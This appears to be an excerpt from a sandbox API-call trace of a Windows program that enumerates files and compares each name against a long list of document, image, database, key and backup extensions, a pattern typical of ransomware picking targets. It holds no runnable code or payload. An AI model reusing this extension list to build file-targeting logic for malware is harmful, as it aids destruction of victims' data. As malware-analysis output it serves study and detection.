	[0069.130] lstrlenW (lpString=".asr") returned 4
	[0069.130] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".asx") returned 4
	[0069.130] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".avi") returned 4
	[0069.130] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".avs") returned 4
	[0069.130] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".backup") returned 7
	[0069.130] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0069.130] lstrlenW (lpString=".bak") returned 4
	[0069.130] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".bay") returned 4
	[0069.130] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0069.130] lstrlenW (lpString=".bd") returned 3
	[0069.130] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0069.130] lstrlenW (lpString=".bin") returned 4
	[0069.131] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".bmp") returned 4
	[0069.131] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".bz2") returned 4
	[0069.131] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".c") returned 2
	[0069.131] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0069.131] lstrlenW (lpString=".cdr") returned 4
	[0069.131] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".cer") returned 4
	[0069.131] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".cf") returned 3
	[0069.131] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0069.131] lstrlenW (lpString=".cfc") returned 4
	[0069.131] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".cfm") returned 4
	[0069.131] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".cfml") returned 5
	[0069.131] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0069.131] lstrlenW (lpString=".cfu") returned 4
	[0069.131] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".chm") returned 4
	[0069.131] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".cin") returned 4
	[0069.131] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".class") returned 6
	[0069.131] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0069.131] lstrlenW (lpString=".clx") returned 4
	[0069.131] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".config") returned 7
	[0069.131] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0069.131] lstrlenW (lpString=".cpp") returned 4
	[0069.131] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0069.131] lstrlenW (lpString=".cr2") returned 4
	[0069.131] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".crt") returned 4
	[0069.132] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".crw") returned 4
	[0069.132] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".cs") returned 3
	[0069.132] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0069.132] lstrlenW (lpString=".css") returned 4
	[0069.132] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".csv") returned 4
	[0069.132] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".cub") returned 4
	[0069.132] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".dae") returned 4
	[0069.132] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".dat") returned 4
	[0069.132] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".db") returned 3
	[0069.132] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0069.132] lstrlenW (lpString=".dbf") returned 4
	[0069.132] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".dbx") returned 4
	[0069.132] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".dc3") returned 4
	[0069.132] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".dcm") returned 4
	[0069.132] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".dcr") returned 4
	[0069.132] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".der") returned 4
	[0069.132] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".dib") returned 4
	[0069.132] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0069.132] lstrlenW (lpString=".dic") returned 4
	[0069.132] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".dif") returned 4
	[0069.133] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".divx") returned 5
	[0069.133] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0069.133] lstrlenW (lpString=".djvu") returned 5
	[0069.133] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0069.133] lstrlenW (lpString=".dng") returned 4
	[0069.133] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".doc") returned 4
	[0069.133] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".docm") returned 5
	[0069.133] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0069.133] lstrlenW (lpString=".docx") returned 5
	[0069.133] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.133] lstrlenW (lpString=".dot") returned 4
	[0069.133] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".dotm") returned 5
	[0069.133] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0069.133] lstrlenW (lpString=".dotx") returned 5
	[0069.133] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0069.133] lstrlenW (lpString=".dpx") returned 4
	[0069.133] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".dqy") returned 4
	[0069.133] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".dsn") returned 4
	[0069.133] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".dt") returned 3
	[0069.133] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0069.133] lstrlenW (lpString=".dtd") returned 4
	[0069.133] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0069.133] lstrlenW (lpString=".dwg") returned 4
	[0069.133] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".dwt") returned 4
	[0069.134] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".dx") returned 3
	[0069.134] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0069.134] lstrlenW (lpString=".dxf") returned 4
	[0069.134] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".edml") returned 5
	[0069.134] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0069.134] lstrlenW (lpString=".efd") returned 4
	[0069.134] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".elf") returned 4
	[0069.134] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".emf") returned 4
	[0069.134] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".emz") returned 4
	[0069.134] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".epf") returned 4
	[0069.134] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".eps") returned 4
	[0069.134] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".epsf") returned 5
	[0069.134] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0069.134] lstrlenW (lpString=".epsp") returned 5
	[0069.134] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0069.134] lstrlenW (lpString=".erf") returned 4
	[0069.134] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0069.134] lstrlenW (lpString=".exr") returned 4
	[0069.134] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".f4v") returned 4
	[0069.135] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".fido") returned 5
	[0069.135] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0069.135] lstrlenW (lpString=".flm") returned 4
	[0069.135] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".flv") returned 4
	[0069.135] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".frm") returned 4
	[0069.135] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".fxg") returned 4
	[0069.135] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".geo") returned 4
	[0069.135] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".gif") returned 4
	[0069.135] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".grs") returned 4
	[0069.135] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".gz") returned 3
	[0069.135] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0069.135] lstrlenW (lpString=".h") returned 2
	[0069.135] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0069.135] lstrlenW (lpString=".hdr") returned 4
	[0069.135] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".hpp") returned 4
	[0069.135] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".hta") returned 4
	[0069.135] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".htc") returned 4
	[0069.135] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0069.135] lstrlenW (lpString=".htm") returned 4
	[0069.136] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".html") returned 5
	[0069.136] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0069.136] lstrlenW (lpString=".icb") returned 4
	[0069.136] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".ics") returned 4
	[0069.136] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".iff") returned 4
	[0069.136] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".inc") returned 4
	[0069.136] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".indd") returned 5
	[0069.136] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0069.136] lstrlenW (lpString=".ini") returned 4
	[0069.136] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".iqy") returned 4
	[0069.136] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".j2c") returned 4
	[0069.136] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".j2k") returned 4
	[0069.136] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".java") returned 5
	[0069.136] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0069.136] lstrlenW (lpString=".jp2") returned 4
	[0069.136] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".jpc") returned 4
	[0069.136] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".jpe") returned 4
	[0069.136] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".jpeg") returned 5
	[0069.136] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0069.136] lstrlenW (lpString=".jpf") returned 4
	[0069.136] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0069.136] lstrlenW (lpString=".jpg") returned 4
	[0069.137] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".jpx") returned 4
	[0069.137] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".js") returned 3
	[0069.137] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0069.137] lstrlenW (lpString=".jsf") returned 4
	[0069.137] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".json") returned 5
	[0069.137] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0069.137] lstrlenW (lpString=".jsp") returned 4
	[0069.137] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".kdc") returned 4
	[0069.137] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".kmz") returned 4
	[0069.137] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".kwm") returned 4
	[0069.137] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".lasso") returned 6
	[0069.137] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0069.137] lstrlenW (lpString=".lbi") returned 4
	[0069.137] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".lgf") returned 4
	[0069.137] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".lgp") returned 4
	[0069.137] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".log") returned 4
	[0069.137] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".m1v") returned 4
	[0069.137] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".m4a") returned 4
	[0069.137] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".m4v") returned 4
	[0069.137] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0069.137] lstrlenW (lpString=".max") returned 4
	[0069.137] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".md") returned 3
	[0069.138] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0069.138] lstrlenW (lpString=".mda") returned 4
	[0069.138] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mdb") returned 4
	[0069.138] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mde") returned 4
	[0069.138] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mdf") returned 4
	[0069.138] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mdw") returned 4
	[0069.138] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mef") returned 4
	[0069.138] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mft") returned 4
	[0069.138] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mfw") returned 4
	[0069.138] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mht") returned 4
	[0069.138] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mhtml") returned 6
	[0069.138] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0069.138] lstrlenW (lpString=".mka") returned 4
	[0069.138] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mkidx") returned 6
	[0069.138] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0069.138] lstrlenW (lpString=".mkv") returned 4
	[0069.138] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mos") returned 4
	[0069.138] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mov") returned 4
	[0069.138] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0069.138] lstrlenW (lpString=".mp3") returned 4
	[0069.138] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".mp4") returned 4
	[0069.139] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".mpeg") returned 5
	[0069.139] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0069.139] lstrlenW (lpString=".mpg") returned 4
	[0069.139] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".mpv") returned 4
	[0069.139] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".mrw") returned 4
	[0069.139] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".msg") returned 4
	[0069.139] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".mxl") returned 4
	[0069.139] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".myd") returned 4
	[0069.139] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".myi") returned 4
	[0069.139] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".nef") returned 4
	[0069.139] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".nrw") returned 4
	[0069.139] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".obj") returned 4
	[0069.139] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".odb") returned 4
	[0069.139] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".odc") returned 4
	[0069.139] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".odm") returned 4
	[0069.139] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".odp") returned 4
	[0069.139] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".ods") returned 4
	[0069.139] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0069.139] lstrlenW (lpString=".oft") returned 4
	[0069.140] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".one") returned 4
	[0069.140] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".onepkg") returned 7
	[0069.140] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0069.140] lstrlenW (lpString=".onetoc2") returned 8
	[0069.140] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0069.140] lstrlenW (lpString=".opt") returned 4
	[0069.140] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".oqy") returned 4
	[0069.140] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".orf") returned 4
	[0069.140] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".p12") returned 4
	[0069.140] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".p7b") returned 4
	[0069.140] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".p7c") returned 4
	[0069.140] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".pam") returned 4
	[0069.140] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".pbm") returned 4
	[0069.140] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".pct") returned 4
	[0069.140] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".pcx") returned 4
	[0069.140] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".pdd") returned 4
	[0069.140] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".pdf") returned 4
	[0069.140] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".pdp") returned 4
	[0069.140] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0069.140] lstrlenW (lpString=".pef") returned 4
	[0069.140] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".pem") returned 4
	[0069.141] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".pff") returned 4
	[0069.141] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".pfm") returned 4
	[0069.141] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".pfx") returned 4
	[0069.141] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".pgm") returned 4
	[0069.141] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".php") returned 4
	[0069.141] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".php3") returned 5
	[0069.141] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0069.141] lstrlenW (lpString=".php4") returned 5
	[0069.141] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0069.141] lstrlenW (lpString=".php5") returned 5
	[0069.141] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0069.141] lstrlenW (lpString=".phtml") returned 6
	[0069.141] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0069.141] lstrlenW (lpString=".pict") returned 5
	[0069.141] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0069.141] lstrlenW (lpString=".pl") returned 3
	[0069.141] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0069.141] lstrlenW (lpString=".pls") returned 4
	[0069.141] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".pm") returned 3
	[0069.141] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0069.141] lstrlenW (lpString=".png") returned 4
	[0069.141] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".pnm") returned 4
	[0069.141] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".pot") returned 4
	[0069.141] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0069.141] lstrlenW (lpString=".potm") returned 5
	[0069.142] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0069.142] lstrlenW (lpString=".potx") returned 5
	[0069.142] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0069.142] lstrlenW (lpString=".ppa") returned 4
	[0069.142] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".ppam") returned 5
	[0069.142] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0069.142] lstrlenW (lpString=".ppm") returned 4
	[0069.142] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".pps") returned 4
	[0069.142] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".ppsm") returned 5
	[0069.142] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0069.142] lstrlenW (lpString=".ppt") returned 4
	[0069.142] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".pptm") returned 5
	[0069.142] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0069.142] lstrlenW (lpString=".pptx") returned 5
	[0069.142] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0069.142] lstrlenW (lpString=".prn") returned 4
	[0069.142] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".ps") returned 3
	[0069.142] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0069.142] lstrlenW (lpString=".psb") returned 4
	[0069.142] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".psd") returned 4
	[0069.142] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".pst") returned 4
	[0069.142] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".ptx") returned 4
	[0069.142] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".pub") returned 4
	[0069.142] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0069.142] lstrlenW (lpString=".pwm") returned 4
	[0069.142] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0069.143] lstrlenW (lpString=".pxr") returned 4
	[0069.143] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0069.143] lstrlenW (lpString=".py") returned 3
	[0069.143] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0069.143] lstrlenW (lpString=".qt") returned 3
	[0069.143] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0069.143] FindNextFileW (in: hFindFile=0x3120b50, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
